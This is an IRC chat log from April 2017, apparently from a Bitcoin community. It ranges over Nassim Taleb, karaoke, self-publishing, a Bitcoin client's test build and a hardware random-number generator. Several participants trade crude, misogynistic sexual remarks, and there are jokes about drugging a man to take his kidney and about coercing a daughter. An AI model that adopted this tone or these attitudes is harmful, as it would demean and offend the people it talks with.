1635964;1491148332;mircea_popescu;and bitcoin replication isn't the best of topics for this theory anyway. 1635965;1491148340;asciilifeform;'stand right here, perhaps gold asteroid will fall for you too!' 1635966;1491148358;mircea_popescu;this isn't as universally stupid as it sounds. 1635967;1491148469;asciilifeform;my pov re taleb reduces to 'asciilifeform does not have he expertise to determine, from the supplied info, whether taleb is a brilliant trader; but the money, even supposing taleb made it from trading, 1635968;1491148488;asciilifeform;and not from self-aggrandizing b00ks, 1635969;1491148493;asciilifeform;ain't proof.' 1635970;1491148500;mircea_popescu;sadly there isn't such a thing as "brilliant trader" in nature anymore than there is "masked crime figther wearing a cape". 1635971;1491148506;asciilifeform;aha. 1635972;1491148534;mircea_popescu;my positive view comes from specific things, such as take the recent article of his that was discussed here : his references are good. 1635973;1491148595;mircea_popescu;good here means a very specific thing : a) not lifted from soup but actually chosen by a hand that can choose to suit the work. ie, not pret a porter but tailored ; and b) correctly covering. as explained in eg http://trilema.com/2017/stop-being-so-fucking-poor/#footnote_3_72144 1635974;1491148625;asciilifeform;this is so. it is why i even try, occasionally, to read his material 1635975;1491148636;asciilifeform;it is clearly the work of a thinking man. 1635976;1491148656;asciilifeform;but suffers from large admixture of nonsense and peacock feathers. 1635977;1491148659;mircea_popescu;i don't specifically care re "arrogance" or whatever other emotional manipulation in the text. i can read the barely literate productions of poorly washed 5th century jews figuring themselves "god". what's taleb gonna do to max my dosimeter. 1635978;1491148692;mircea_popescu;(5th bc, if it wasn't obvious) 1635979;1491148699;asciilifeform;was 1635980;1491148707;mircea_popescu;hm ? 1635981;1491148715;asciilifeform;re 5th c 1635982;1491148719;mircea_popescu;ah yeah. 1635983;1491148781;asciilifeform;my other irritation, fwiw, in taleb, is that he positions himself as 'opponent' of lizard system, while in fact being a creature of it 1635984;1491148792;mircea_popescu;and zeus was created how ? 1635985;1491148808;asciilifeform;quite similar to , e.g., sov. general grigorenko, 'dissident' 1635986;1491148820;BingoBoingo; as far as the forum is concerned, his latest foray was some very overreactive bs triggered by my refusal to take rice out of my sushi or somesuch. << AHA 1635987;1491148872;mircea_popescu;chronos, the god time, who devoured all his sons, was wounded by a diamond sickle borne by his own creation. it happens. 1635988;1491149085;BingoBoingo;saifedean of Lebanon, expert who would not deedbot was cast out for the rice in his pork 1635989;1491150451;asciilifeform;mircea_popescu: other observation re taleb -- i find his works quintessentially 'american', in the most damning sense of the word -- they are exactly 'salvation through method' - 'do-s and dont-s', 'don't use black-scholes', 'do worship at my feet, and have my esteemed pedigree tree, and sit on the sunny shores of the levant, and You Too Could Be A God Like Me' etc. 1635990;1491150475;mircea_popescu;now you know why i don't tend to read him. 1635991;1491150498;mircea_popescu;the parts where he applies himself to other principles are quite good nevertheless. 1635992;1491150536;asciilifeform;maybe there was something good in joseph smith also -- 'stop drinking', say. 1635993;1491150540;asciilifeform;dun make a guru. 1635994;1491150607;Framedragger;"and have my esteemed pedigree tree"? isn't part of his (by now, tired, yes) point to the effect of the exact opposite? ("trust your biology, folklore, etc., they're better than experts telling you things"; "i won't give advice on $currency because i don't hold positions in $currency hence not exposed to the risk", so on) 1635995;1491150718;Framedragger;or you mean that yet somehow his general spiel still mirrors some general faulty 'american' structure (difficult to prove/disprove this) 1635996;1491150754;Framedragger;asciilifeform: ^ (but i don't have a point to prove, just that i didn't see much to blame there, however i could just be my usual naive) 1635997;1491150959;shinohai;lol @ homeless crackhead being given $200`000 bail for setting the freeway fire. 1635998;1491151516;mircea_popescu;asciilifeform http://trilema.com/2017/our-everyday-rape/#selection-133.20-133.57 << in which mp unexpectedly claims dibs on the "it remains" device by virtue of material published 6 years ago! 1635999;1491151590;mircea_popescu;shinohai i read that as "the system has decided the value to it of this $random is 200k." 1636000;1491151597;mircea_popescu;best bezzle ever. 1636001;1491151797;shinohai;Doubt even the shittiest back-alley clinic in Guatemala would pay 10% of that for dudes kidney. 1636002;1491151816;shinohai;( Just give him some laced coke and take for phree ) 1636003;1491151840;mircea_popescu;stressed kidney no good. 1636004;1491152016;shinohai;Lulzy morning when some smacktard on twitter sends one of my girls a .uue file. When that didn't work, sent files as a .zip in email. 1636005;1491152086;mircea_popescu;i imagine 50% of rats exist so random wankers can watch the girl in 8a work as a camho without having to pay for the "credits" 1636006;1491152105;mircea_popescu;she wouldn't mind doing it in person, but the dude sure as fuck ain't gonna ask her. 1636007;1491152159;*;shinohai refuses to let skiddies cut in on his commission ..... 1636008;1491152270;jurov;BingoBoingo: i have a comment on qntra monthly report, it awaits moderation 1636009;1491152351;jurov;I will wait with the shares till that is resolved. 1636010;1491152502;deedbot;http://trilema.com/2017/our-everyday-rape/ << Trilema - Our everyday rape 1636011;1491152526;asciilifeform;http://btcbase.org/log/2017-04-02#1635995 << purporting to teach a demonstrably-unteachable replication of unreplicable success -- is the 'american' item. 1636012;1491152526;a111;Logged on 2017-04-02 16:31 Framedragger: or you mean that yet somehow his general spiel still mirrors some general faulty 'american' structure (difficult to prove/disprove this) 1636013;1491152538;asciilifeform;'how You Too Can Win Lottery.' 1636014;1491152567;asciilifeform;one of the things i always liked about mircea_popescu is that he never did this. 1636015;1491152587;Framedragger;i think i see what you mean. i'm not convinced he's actually trying to teach just that, but fair enough. 1636016;1491152590;asciilifeform;freely admits 'even if all of your 10,000,001 barriers to being me were removed, by martians, you still won't' 1636017;1491152850;mircea_popescu;"you still maybe" 1636018;1491152874;mircea_popescu;the chief problem with the barriers is that they're after the fact. 1636019;1491152954;mircea_popescu;i dunno how much patience for extremely elaborate musical romanian insider jokes teh republic finds within itself, but anyway, https://www.youtube.com/watch?v=yharM4yByNM 1636020;1491153003;mircea_popescu;"first of all there appeared the idiots, then next transport landed some thieves. as all women were already ladies a platoon of whores was parachuted from the sky. the danger being real the idiots spontaneously invented the first courthouse." 1636021;1491153562;asciilifeform;mircea_popescu: the way i see it, doing http://trilema.com/2014/how-to-make-money-on-the-internet-while-pretending-you-know-what-youre-talking-about-and-accumulating-a-legion-of-mindless-followers-for-fun-and-profit by being 10,000,001 people trying nonsense, and then writing as the 1 surviving taleb, is exactly same as doing it via the usual 10,000,001 sybils 1636022;1491153593;asciilifeform;strictly in the sense of 'you can't learn to DO this, it isn't a thing that a generic ~you~ can ~do~' 1636023;1491153662;mircea_popescu;there's no arguing that 1636024;1491153694;mircea_popescu;the only objection is that a happy life is not actually impossible. 1636025;1491153750;asciilifeform;some folx win biochemical lottery, noshit, are happy even when stewing in own shit in calcutta, yes. 1636026;1491153760;asciilifeform;others -- not even on the lizard throne. 1636027;1491153779;asciilifeform;entirely orthogonal, this axis, to reality. 1636028;1491153781;mircea_popescu;mebbe 1636029;1491153897;*;mircea_popescu wonders if asciilifeform has 10,000,001 on a hotkey, and if so, which it is 1636030;1491153925;*;asciilifeform keeps his 3rd hand on the numberz pad, is all. 1636031;1491153941;mircea_popescu;ah 1636032;1491154055;mircea_popescu;in other lulz, yest went with hanbot an' coupla locals to this "sports bar" where they run girl's footsketball (i have nfi, small indoor court, nice asses, ball kicking) and karaoke. 1636033;1491154092;mircea_popescu;she did "don't take your guns to town", which was teh only english thing done, and apparently was a challenge to download etc, but the dj was very proud to manage eventually. 1636034;1491154137;mircea_popescu;everyone was very... living up to the occasion of the sacred language blessing their venue. then i explained what the lyrics said, and i think they were a little aghast 1636035;1491154156;mircea_popescu;"what do you mean he shoots the kid ?! but we're doing spanish romantic bs all day, love you eternally etc!" 1636036;1491154195;asciilifeform;lol! 1636037;1491154216;asciilifeform;i suspect that my entire picture of spanish world is skewed by marquez 1636038;1491154219;danielpbarron;ooo you do karaoke!? i do that several times a week 1636039;1491154239;mircea_popescu;danielpbarron not personally ; i'm just promiscuous, will go anywhere alcohol is served. 1636040;1491154244;asciilifeform;whaddayamean they don't sit around , retired and deposed colonels, deciding which fighting cock to sell, before starving 1636041;1491154255;danielpbarron;i also offend locals. my favorite things to sing are the most violent rap like Eminem 1636042;1491154258;mircea_popescu;asciilifeform hehe 1636043;1491154268;asciilifeform;or pump a man so full of lead, he gets taken to quicklime pit in a wheelbarrow 1636044;1491154272;danielpbarron;but i really confuse them because i also sing things like simon and garfunkel really well 1636045;1491154274;asciilifeform;and it takes three men and a mule to pull it 1636046;1491154284;mircea_popescu;danielpbarron they weren't offended in the slightest. i think the only proper way to describe tico mindset is "eagerly open minded". 1636047;1491154296;mircea_popescu;"this shit makes no sense it's what they do other places mmkay." 1636048;1491154349;mircea_popescu;anyway, my driver's crazy about karaoke. he admits he wanted to be a singer! 1636049;1491154363;mircea_popescu;he also told me he's metrosexual, but upon inquiry it was established he merely misunderstood what that meant. 1636050;1491154377;danielpbarron;people tell me i should do it professionally, but to me it's just a fun thing to do. i think it would not be fun if i tried to make money with it 1636051;1491154377;asciilifeform;what did it turn out to mean ? he fucks trains ? 1636052;1491154390;mircea_popescu;asciilifeform he washes. 1636053;1491154575;mircea_popescu;danielpbarron how would you do it professionally, they have contests or what ? 1636054;1491154592;danielpbarron;you found a good venue of the dj is willing to download songs on the spot. my favorite place is a portugese bar where the guy will play from youtube if he doesn't have the song. that's the only way I can properly sing Lil Wayne -- find the instrumental version and read lyrics from my phone 1636055;1491154603;*;mircea_popescu always imagined stuff like america got talent is the tail end of karaoke bars. 1636056;1491154608;danielpbarron;idk, get hired by bars to sing all night or something 1636057;1491154625;mircea_popescu;pretty sure you need tits for that neh ? 1636058;1491154636;danielpbarron;yes that too. a few days ago someone was saying "oh you should be on america's got talent!" and i'm like "haha no way" 1636059;1491154663;mircea_popescu;it being fundamentally an azn thing, i expect it works just like star wars etc. can be pro, but it means a certain thing. 1636060;1491154676;mircea_popescu;and yes, very little fun left once you go that way. 1636061;1491154688;mircea_popescu;but then again i never knew any karaoke pros. 1636062;1491154698;mod6;Ladies and Gentlemen of TMSR~, The Bitcoin Foundation's monthly State of Bitcoin Address: http://therealbitcoin.org/ml/btc-dev/2017-April/000262.html 1636063;1491154699;danielpbarron;plus all karaoke djs tend to be a little weird in a way particular to that profession; i don't care to become like that 1636064;1491154729;mod6;(my apologies for the late submission to the chamber.) 1636065;1491154750;mircea_popescu;better than publishing on fool's day 1636066;1491154754;danielpbarron;i think it might be comparable to camwhores and ptsd. having their attention constantly split here and there trying to appease everyone 1636067;1491154764;mircea_popescu;that's terrible, have you seen that ? 1636068;1491154766;mod6;mircea_popescu: haha 1636069;1491154785;danielpbarron;that's what you said somewhere, i wouldn't know 1636070;1491154806;*;mircea_popescu had camwhoring on "list of things girl must do" extremely briefly. went right the fuck out, it's a scandalous abuse of the human body to compare with, eg, the "sulphur mine children". 1636071;1491154810;mircea_popescu;was that wonder in the logs ? 1636072;1491154823;danielpbarron;might have been a trilema article, i don't recall exactly 1636073;1491154849;mircea_popescu;yes. http://trilema.com/2016/the-bizarro-world-of-camwhoring/ 1636074;1491155132;shinohai;^ /me read that article and almost decided against all this poppycock 1636075;1491155275;mircea_popescu;but i meant re the sulphur mine boys of eg southern italy 19th century. 1636076;1491155942;BingoBoingo;jurov: ty number transposed, fixing 1636077;1491156159;BingoBoingo;!!deed http://wotpaste.cascadianhacker.com/pastes/ILHGW/?raw=true 1636078;1491156174;BingoBoingo;jurov: ty fxd 1636079;1491156186;deedbot;accepted: 1 1636080;1491156296;BingoBoingo;jurov: http://qntra.net/2017/04/qntra-s-qntr-march-2017-report/#comment-90880 1636081;1491157117;lobbes;http://btcbase.org/log/2017-04-02#1635838 << That worx. No rush, I'll be around :) 1636082;1491157117;a111;Logged on 2017-04-02 07:26 diana_coman: lobbes, I'll gladly pay for the auction services in Eulora; Foxy's currently in a days-long craft so will have to wait for that to finish first though 1636083;1491158050;mircea_popescu;BingoBoingo gah!!1 1636084;1491159009;BingoBoingo;My bad, total shares figure was correct, allocation was not. 1636085;1491161360;lobbes;!!deed http://lobbesblog.com/billing/2017/Q1/danielpbarron_payment_receipt.txt 1636086;1491161372;lobbes;!!deed http://lobbesblog.com/billing/2017/Q1/mircea_popescu_payment_receipt.txt 1636087;1491161396;deedbot;accepted: 1 1636088;1491161398;deedbot;accepted: 1 1636089;1491163491;jurov;Shares pushed. davout: you know how to get your s.qntr? 1636090;1491163768;shinohai;ty jurov, as always. 1636091;1491164246;mircea_popescu;o hey, good news, i udun have to do anything. 1636092;1491164271;mircea_popescu;BingoBoingo "Scott Pruitt decided no to" 1636093;1491164305;mircea_popescu;"Three arrest have been" 1636094;1491166356;BingoBoingo;ty fxd x2 1636095;1491168247;shinohai;http://seclists.org/fulldisclosure/2017/Mar/71 <<< pfsense firewalls, we keep u safe! 1636096;1491169089;mircea_popescu;"the page at https://googleads.g.doubleclick.net says [object Object]" 1636097;1491169160;mircea_popescu;anyway, only interesting under the angle of "idiot empire raided open source forum, pretends to have "discovered" things and to "give credits" to itself etc." 1636098;1491171287;phf;i suspect saifedean is pitching various audiences to create a buzz for his upcoming book, because the way he opened seemed like a cold call. "normies" "bezzle this bezzle that" every phrase felt like it was lifted from a "wake up sheeple" video with that matrix soundtrack 1636099;1491171336;phf;this is not the right audience for that sort of club footed approach, but i'm sure he'll get a good response on bitcointalk or whatever 1636100;1491171741;mircea_popescu;i very much doubt it. the time for unsolicited manuscripts was sometime in between the summer of 90something and the autumn of the same 90something. nobody can tell you precisely when, but in any case "i made a book" is precisely the same as "i made a used condom" 1636101;1491171781;mircea_popescu;"you mean, with a girl ?" "no, by myself. but it'll get all the girls interested! after all my used condom maker works!!11" 1636102;1491171864;mircea_popescu;anyway. such is the high cost of harboring delusions of self-determination. 1636103;1491171918;phf;right, i'm trying to discern some kind of strategy that he's employing, but there might just be none 1636104;1491171958;mircea_popescu;well, if by strategy you mean, attempt to adequate to the environment, i'd say none. if you mean "i am saifadean hear me roar" then sure, he's trying to matter as he is rather than as he'd matter. 1636105;1491172001;mircea_popescu;"i want a guy who will love me for me" but in the male color scheme, as it were. 1636106;1491172097;phf;http://btcbase.org/log/2014-11-11#917183 ooh that guy 1636107;1491172097;a111;Logged on 2014-11-11 08:48 saifedean: really, before you dismiss paleo, just try eliminating grains from your body for 2 weeks and see what it does to you. every single person i know who's done it has changed their life entirely. 1636108;1491172122;mircea_popescu;2014 eh ? been a while. 1636109;1491172201;mircea_popescu;anyway, the whole "i write books" aspirational occupation is a macula of dumb just all of itself. i keep mentioning tucker max because he tried (and claimed to succeed) and utterly failed at the thing. 1636110;1491172203;phf;i somehow doubt he spent that time reading the logs. 1636111;1491172217;mircea_popescu;it's a joke, new york times best seller = not enough to pay for a night in a hotel. 1636112;1491172245;mircea_popescu;phf evidently not. he wasted a coupla years of his life, now in 2017 is in same position as he was in 2014. but it's ok, he's unwilling to review this, so he'll die as he lived. 1636113;1491172266;mircea_popescu;definitional normie talking about "normies". 1636114;1491172350;mircea_popescu;"selling" 1k copies of a book is a) a fine way to spend a thousand hours of your time to earn about a hundred dollars and b) sufficient of an achievement to make you a "best selling author" and allow you to "lord it over" the utter fucktards populating that particular hobbist space. 1636115;1491172381;mircea_popescu;because that's what it is. writing books is exactly like playing with rv boats. "oh, you won the milwaukee regional finals in 2016 ? WOW!!11 where do i throw my panties!" 1636116;1491172901;phf;the incentives seem inside out. it's not "i have something to say that's not otherwise been said" it's "i'm going to say something!" 1636117;1491173073;shinohai;!~later tell BingoBoingo http://wotpaste.cascadianhacker.com/pastes/7MfhY/?raw=true 1636118;1491173073;jhvh1;shinohai: The operation succeeded. 1636119;1491173100;phf;sitting down to "write the great american novel" as a the pure case of that 1636120;1491173425;*;shinohai bets he would likely make more writing for Qntra instead ... 1636121;1491173527;deedbot;http://qntra.net/2017/04/shinohais-shitcoin-roundup-xtend-vers-second-coming-pitato-drama-hash-shenanigans/ << Qntra - Shinohai's Shitcoin Roundup Xtend: Ver's Second Coming, PiTato Drama, Hash Shenanigans 1636122;1491173700;danielpbarron;in tucker max's defense, his are the only books i have ever purchased in "e"lectronic form. and I did get a kick out of them. But that was before I discovered trilema so who knows how they'd read to me if i tried again 1636123;1491176690;shinohai;https://s3nd.org/berlin2017 <<< Behold the derpitude of "The Bitcoin Wallet Standards Development Initiative" 1636124;1491182320;ben_vulpes;shinohai: "bitcoin wallet interoperability" 1636125;1491182396;shinohai;I thought that was what protocol was supposed to accomplish 1636126;1491182448;ben_vulpes;all you need for "wallet interoperability" is to make transaction scripts with OP_PUBKEY or OP_PUBKEYHASH followed by...a pubkey, or the hash thereof. 1636127;1491182552;ben_vulpes;"export/import compatibility" hue 1636128;1491189412;asciilifeform;http://btcbase.org/log/2017-04-02#1636123 << lol, luke-jr 'Core Developer' ; Mycelium; Electrum; TREZOR; misc. crapola 1636129;1491189412;a111;Logged on 2017-04-02 23:44 shinohai: https://s3nd.org/berlin2017 <<< Behold the derpitude of "The Bitcoin Wallet Standards Development Initiative" 1636130;1491189466;asciilifeform;Johann Barbie BitGo << wasn't this d00d hanged at nuremberg ? 1636131;1491189470;asciilifeform;or hm, that was klaus b. 1636132;1491189633;asciilifeform;http://btcbase.org/log/2017-04-02#1636096 << bonus: the tab/window this loads in is ~self-closing~ in chrome and similar 1636133;1491189633;a111;Logged on 2017-04-02 21:38 mircea_popescu: "the page at https://googleads.g.doubleclick.net says [object Object]" 1636134;1491189673;asciilifeform;http://btcbase.org/log/2017-04-02#1636095 << dun seem to be in pf, but in php liquishit luserfriendly gui frontend 1636135;1491189673;a111;Logged on 2017-04-02 21:24 shinohai: http://seclists.org/fulldisclosure/2017/Mar/71 <<< pfsense firewalls, we keep u safe! 1636136;1491189709;asciilifeform;http://btcbase.org/log/2017-04-02#1636098 << i could almost hear that soundtrack playing 1636137;1491189709;a111;Logged on 2017-04-02 22:14 phf: i suspect saifedean is pitching various audiences to create a buzz for his upcoming book, because the way he opened seemed like a cold call. "normies" "bezzle this bezzle that" every phrase felt like it was lifted from a "wake up sheeple" video with that matrix soundtrack 1636138;1491189761;asciilifeform;http://btcbase.org/log/2017-04-02#1636100 << 'made a book, achievement!111' evaporated some time in 2010, when 'print on demand' appeared 1636139;1491189761;a111;Logged on 2017-04-02 22:22 mircea_popescu: i very much doubt it. the time for unsolicited manuscripts was sometime in between the summer of 90something and the autumn of the same 90something. nobody can tell you precisely when, but in any case "i made a book" is precisely the same as "i made a used condom" 1636140;1491189832;mircea_popescu;danielpbarron that's nice, but the whole "i quit lawyering to write full time" narrative didn't work out. 1636141;1491189844;asciilifeform;there are still a few academic publishers with something like tattered remnant of credibility (cambridge; springer -- ~maybe~) but probably soon -- not 1636142;1491189967;mircea_popescu;pod is actually from the 90s. 1636143;1491189983;asciilifeform;pod as accessible-to-groundlings is circa ~2010. 1636144;1491189989;asciilifeform;(as in -- wholly unfiltered access) 1636145;1491189995;mircea_popescu;there is that. 1636146;1491190003;asciilifeform;i have random crapolade printed, routinely. 1636147;1491190006;asciilifeform;to take to bed. 1636148;1491190012;asciilifeform;it costs ~0. 1636149;1491190027;asciilifeform;cheaper than ~own laser printer~ 1636150;1491190037;asciilifeform;(i shit thee not) 1636151;1491190045;asciilifeform;use to own a binding machine. threw it out. 1636152;1491190048;asciilifeform;*used 1636153;1491190055;asciilifeform;nomoar. 1636154;1491190182;ben_vulpes;asciilifeform: gotta printer to recommend? 1636155;1491190217;asciilifeform;ben_vulpes: 'lulu' works 1636156;1491190234;asciilifeform;(just be sure to avoid ticking 'show in public' box, unless of course you go in for exhibitionism) 1636157;1491190257;asciilifeform;there may be cheaper/higher quality/whichever shops nao 1636158;1491190279;asciilifeform;lulu knows how to do hardcovers, and they aren't half bad qualitywise. 1636159;1491190322;asciilifeform;i got a nice hardcover of https://www.ada-ru.org/V-0.4w/index.html , for instance, made. 1636160;1491190566;asciilifeform;tbh oughta enjoy these 'print one copy for my desk' shops while they last. i suspect that amazon will eventually kill them. 1636161;1491190585;ben_vulpes;aye aye 1636162;1491190618;asciilifeform;( asciilifeform's use, if it isn't obvious, is a fairly obvious abuse. the 'intended' use is of course for chump to be used as a 'content generator' draft horse by the hucksters, a la traditional publishing ) 1636163;1491191161;ben_vulpes;i wonder if there's some proportional relationship between setup/distribution costs and size of target niches 1636164;1491191179;ben_vulpes;anyways, hey asciilifeform have you ever built the trb test target? 1636165;1491191214;asciilifeform;ben_vulpes: the one that came in genesis ? 1636166;1491191216;asciilifeform;dun think so 1636167;1491191228;ben_vulpes;http://btc.yt/lxr/satoshi/source/src/makefile.unix?v=wires_rev1#0135 1636168;1491191230;ben_vulpes;yeah 1636169;1491191238;asciilifeform;i've nfi if it ever worked. 1636170;1491191276;ben_vulpes;complains about inabilty to find openssl/ec.h 1636171;1491191328;ben_vulpes;currently attempting to reason about differences between targets bitcoind and test_bitcoin 1636172;1491191332;asciilifeform;http://btcbase.org/log/2017-04-03#1636163 << i only know re lulu's rates; they are flat (or rather, depend on pg count, paper type, and process - colour vs bw -- strictly) 1636173;1491191332;a111;Logged on 2017-04-03 03:46 ben_vulpes: i wonder if there's some proportional relationship between setup/distribution costs and size of target niches 1636174;1491191369;asciilifeform;ben_vulpes: iirc the test target built a turd that exercised data structures, serialization, etc. rather than whole thing 1636175;1491191377;ben_vulpes;yeah i know 1636176;1491191457;asciilifeform;i can't say i ever had any interest in getting that part to work. 1636177;1491191491;asciilifeform;shitoshi's turd is an incurable patient, in my eyes. 1636178;1491191819;ben_vulpes;reasonabru opinion 1636179;1491191923;ben_vulpes;shiva might be a better tool for wiggling random code paths anyways 1636180;1491191936;asciilifeform;dunno that anybody is still playing with shiva 1636181;1491191947;ben_vulpes;nobody's playing with the tests either! 1636182;1491191954;asciilifeform;ben_vulpes apparently was 1636183;1491191959;ben_vulpes;well i'd like to 1636184;1491192106;*;shinohai actually still has a bitcoind with shiva baked in on a lab lappy but is still learning the schema bits ... 1636185;1491192218;ben_vulpes;the scheme/c seam is as real as the emacs/linux seam 1636186;1491192316;BingoBoingo;In lizard unsanctioned pizzagates https://archive.is/sQWw4 1636187;1491196556;mircea_popescu;ben_vulpes one's the testnet iirc 1636188;1491196599;ben_vulpes;mircea_popescu: not by my read 1636189;1491196625;ben_vulpes;http://btc.yt/lxr/satoshi/source/src/test/test_bitcoin.cpp?v=wires_rev1#1088 1636190;1491196649;mircea_popescu;yeah, right, one's the kinda-almost test harness 1636191;1491196715;ben_vulpes;mhm 1636192;1491221661;Framedragger;http://i.imgur.com/VS7GiEm.jpg 1636193;1491222312;mircea_popescu;Framedragger does she tits ? 1636194;1491222421;Framedragger;i can ask but i can also defer this honourable query to mr. shinohai (i dont know her personally) 1636195;1491222437;Framedragger;he seems to have perfected his processes :p 1636196;1491222451;mircea_popescu;lel 1636197;1491222491;Framedragger;anyway it's a fucking trend. 'professors' jacking off on fucktrumpianism in "unis" 1636198;1491222565;mircea_popescu;im sure. the place didn't go to shit on its own. 1636199;1491222626;mircea_popescu;but the solution is relatively simple anyway. "honey, you're not going to """college""", you're going to either riadh or beijing, and if by the time you're 20 you're not either married or coming back with a million you're not my daughter. 1636200;1491222860;Framedragger;when compared, it *is* a clear KPI cf. "uni performance" etc. heh. 1636201;1491223304;mircea_popescu;offspring gotta become capable to fend for self, that's the point and the definition of parenthood. 1636202;1491223339;mircea_popescu;by the time she's 18 she ~absolutely~ must be working at a profit. no matter the fuck what. 1636203;1491223347;Framedragger;absolutely, question is if there's any middle ground, i mean, less extreme approaches (extreme by my standards of course) 1636204;1491223361;Framedragger;"disowning" etc. 1636205;1491223362;mircea_popescu;this is the most middling of approaches, since it has to do with her cunt. 1636206;1491223373;mircea_popescu;other approaches are more extreme if they focus on limbs. 1636207;1491223378;Framedragger;right :) 1636208;1491223432;mircea_popescu;they are after all called "extremities" 1636209;1491223471;mircea_popescu;(this may sound like it's a joke. it is not a joke. review your standard issue systems design manual (don't tell me they forgot to issue you one!)) 1636210;1491223524;mircea_popescu;("oh but mp, we get to decide when logic applies and when it doesn't!" "riight...") 1636211;1491223709;mircea_popescu;danielpbarron how do i get stuff from your blog that's older than feb ? 1636212;1491223777;asciilifeform;http://btcbase.org/log/2017-04-03#1636187 << mno, i killed testnet with own hands (at that point it hadn't been of any use in some years) : http://btcbase.org/patches/asciilifeform_lets_lose_testnet 1636213;1491223777;a111;Logged on 2017-04-03 05:15 mircea_popescu: ben_vulpes one's the testnet iirc 1636214;1491223800;mircea_popescu;asciilifeform dja remember where receiving of 1st batch FUCKGOATS was announced ? 1636215;1491223827;asciilifeform;on danielpbarron's www 1636216;1491223829;asciilifeform;iirc. 1636217;1491223833;mircea_popescu;can't seem to find it nao. 1636218;1491223885;mircea_popescu;http://btcbase.org/log-search?q=%22danielpbarron.com%22 << also apparently unreported ? 1636219;1491223908;asciilifeform;the report was 'here's 100 for sale' 1636220;1491223936;mircea_popescu;hm. i suspect there's something amiss with his site. anyway. 1636221;1491223981;shinohai;Framedragger: In my experience they nearly all tits with the right motivation :D 1636222;1491224034;Framedragger;hah good to hear :p 1636223;1491224477;shinohai;As I lamented to mircea_popescu the other day though, it is difficult to get them to see the value in Bitcoin (cam/twithos) 1636224;1491224485;shinohai;Otherwise there would be more: 1636225;1491224489;shinohai;!~tits 1636226;1491224489;jhvh1;( . Y . ) http://trilema.com/2014/ill-pay-for-your-tits/ ( . Y . ) 1636227;1491224496;mircea_popescu;lol neat. 1636228;1491224542;mircea_popescu;(. Y .) ( .Y. ) (.Y.) 1636229;1491224557;mircea_popescu;hard to decide which look better... 1636230;1491224621;shinohai;( o Y o ) < Giant areolas ? 1636231;1491224629;mircea_popescu;lel 1636232;1491224646;mircea_popescu;anyway, twennybux was iirc the international price of the alley blowjob. so... 1636233;1491224673;shinohai;!~later tell jurov Could you have a peek at my order #14214 when you haz time plz? 1636234;1491224673;jhvh1;shinohai: The operation succeeded. 1636235;1491225450;*;shinohai likes how `areola` gets wavy red lines under because not found in spellcheck dictionary ... 1636236;1491226352;asciilifeform;!!up adlai 1636237;1491226353;deedbot;adlai voiced for 30 minutes. 1636238;1491226372;asciilifeform;adlai: let's have it 1636239;1491226960;adlai;S.NSA delivers! well under Two Weeks, too. http://imgur.com/a/zUqmy 1636240;1491227469;Framedragger;ooh israel, cool 1636241;1491227504;Framedragger;i envy the weather 1636242;1491227641;shinohai;adlai gets an ungulate shipped to Israel! >.> 1636243;1491227676;adlai;Framedragger: it actually rained yesterday, but probably the last rain before fall 1636244;1491227691;Framedragger;fuck me 1636245;1491227737;adlai;no, fuck /goats/ 1636246;1491227892;deedbot;http://trilema.com/2017/no-such-labs-snsa-march-2017-statement/ << Trilema - No Such lAbs (S.NSA), March 2017 Statement 1636247;1491228054;*;adlai sets up collection as per http://nosuchlabs.com section 4 1636248;1491228350;shinohai;!!up adlai 1636249;1491228350;deedbot;adlai voiced for 30 minutes. 1636250;1491228442;adlai;shinohai: congratulations on your impending entitlement 1636251;1491228467;shinohai;ty adlai, cheers! o/ 1636252;1491228784;*;shinohai wonders if he should build a Russian-style palace with tit-shaped domes ..... 1636253;1491229176;adlai;re:RAGEMASTER, couldn't such an implant be mitigated by shielding the cable? (and destroying after use, in case it 'remembers') 1636254;1491229673;asciilifeform;adlai: 'shielded cable' is still quite unshielded on the 2 ends.. 1636255;1491229699;asciilifeform;(and the diff b/w a shield and an antenna is the ground. who is going to test the grounds? adlai ?) 1636256;1491229805;adlai;i'm specifically thinking about the implants that require illumination, looks like this one could be trivially foiled (literally) 1636257;1491229897;adlai;in other news, this FG unit appears fully sad (no tty output) unless /both/ modules are attached 1636258;1491229965;Framedragger;isn't that by design? 1636259;1491229991;adlai;it should be half-sad, according to the vendor docs 1636260;1491230059;Framedragger;were both of them present during power-up? i think the idea is to remove them once it's powered up. then it'd be half duty cycle SAD. (haven't tested myself yet tho) 1636261;1491230071;adlai;aha, i can fool it: if a module is removed while it barfs, then it keeps barfing as half-sad 1636262;1491230088;Framedragger;by 'fool' you mean 'as intended' :) 1636263;1491230125;adlai;fwiw this is not 'as instructed', the instructions say to remove both, then add one, switch it across, and then add the second 1636264;1491230139;adlai;following the instructions to the letter results in a fully-sad FG until the final stage 1636265;1491230166;Framedragger;ah if they do - sorry. this was from me reading online doc (http://nosuchlabs.com/), "3)" 1636266;1491230221;Framedragger;"Note: Both RNG-TW (Analogue) modules must be present and in working order during power-up, or FUCKGOATS will remain in a SAD state (steady RED lamp.) When performing basic tests, start with a powered FUCKGOATS, with BOTH RNG-TW (Analogue) modules installed. " 1636267;1491230227;Framedragger;!!up adlai 1636268;1491230228;deedbot;adlai voiced for 30 minutes. 1636269;1491230235;Framedragger;oh that actually werks 1636270;1491230252;*;Framedragger moving self meat 1636271;1491230277;adlai;Framedragger: ty. that note is correct, but the included printout omits it, thus my confusion. 1636272;1491230285;adlai;anyway no biggie. 1636273;1491230778;mircea_popescu;fucking cicadas. sound exactly like fans getting ready to bite it. 1636274;1491231089;asciilifeform;adlai: the online doc is authoritative. 1636275;1491231105;asciilifeform;( new crates have updated paper copy. ) 1636276;1491231120;asciilifeform;also there always remains the option of reading the src !! 1636277;1491231129;asciilifeform;y'know, like folx oughta do. 1636278;1491231198;shinohai;mircea_popescu: same here, and it looks like alien inception or something when they do that 7 yr molting cycle. Damned exoskeletons everywhere. 1636279;1491231224;asciilifeform;where asciilifeform lives, there is a cicadacalypse every 17y 1636280;1491231239;asciilifeform;as in, 1+ per sq. m. of asphalt ! 1636281;1491231301;shinohai;"Neotibicen pronotalis is the loudest cicada in North America, and can achieve 108.9 decibels." 1636282;1491231641;asciilifeform;btw, this is not a bad time to explain WHY i set it up so that fg remains 'sad' until BOTH rng start up 1636283;1491231681;asciilifeform;it is so as to make the deterministic test possible. turns out, the warm-up of crystal oscillator is NOT deterministic. so if you let the thing begin IMMEDIATELY when the clock is valid, 1636284;1491231690;asciilifeform;you will not have repeatable operation. 1636285;1491231713;asciilifeform;on the other hand, there is no external input into the box other than the 2 rng. 1636286;1491231719;asciilifeform;(and the optional clock-in) 1636287;1491231730;asciilifeform;the optional clock-in is subject to the 